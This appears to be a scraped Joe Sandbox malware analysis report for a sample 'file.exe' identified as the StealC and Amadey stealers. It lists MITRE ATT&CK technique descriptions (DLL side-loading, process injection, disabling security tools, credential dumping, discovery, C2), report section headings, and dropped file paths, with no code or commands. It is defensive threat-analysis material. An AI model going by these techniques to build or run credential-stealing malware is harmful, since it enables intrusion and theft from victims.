Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AKEBFCFI

C:\ProgramData\AKKECAFBFHJDGDHIEHJD

C:\ProgramData\CFCBKKKJJJKKEBGDAFIDAAAEHD

C:\ProgramData\CGDGHCBGDHJJKECAECBAEGCBGC

C:\ProgramData\EHJDGCBG

C:\ProgramData\JEBKECAFIDAFIECBKEHD

C:\ProgramData\JJECGCBGDBKJJKEBFBFH

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre